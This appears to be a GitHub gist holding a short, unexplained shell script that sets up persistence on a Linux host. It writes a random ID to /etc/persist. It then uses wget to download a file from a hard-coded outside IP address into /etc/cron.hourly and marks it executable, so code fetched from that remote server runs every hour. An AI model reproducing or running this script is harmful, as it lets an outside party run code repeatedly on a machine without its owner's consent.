Created
October 28, 2020 20:43
-
-
Save AetherEternity/484fec6fb0f27ef6ec81b58aee56edd1 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
NEW_UUID=$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 32 | head -n 1) | |
echo $NEW_UUID > /etc/persist | |
BASE="http://188.143.222.218:4455/persist?uuid=" | |
wget -O /etc/cron.hourly/persist "$BASE$NEW_UUID" | |
chmod +x /etc/cron.hourly/persist |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment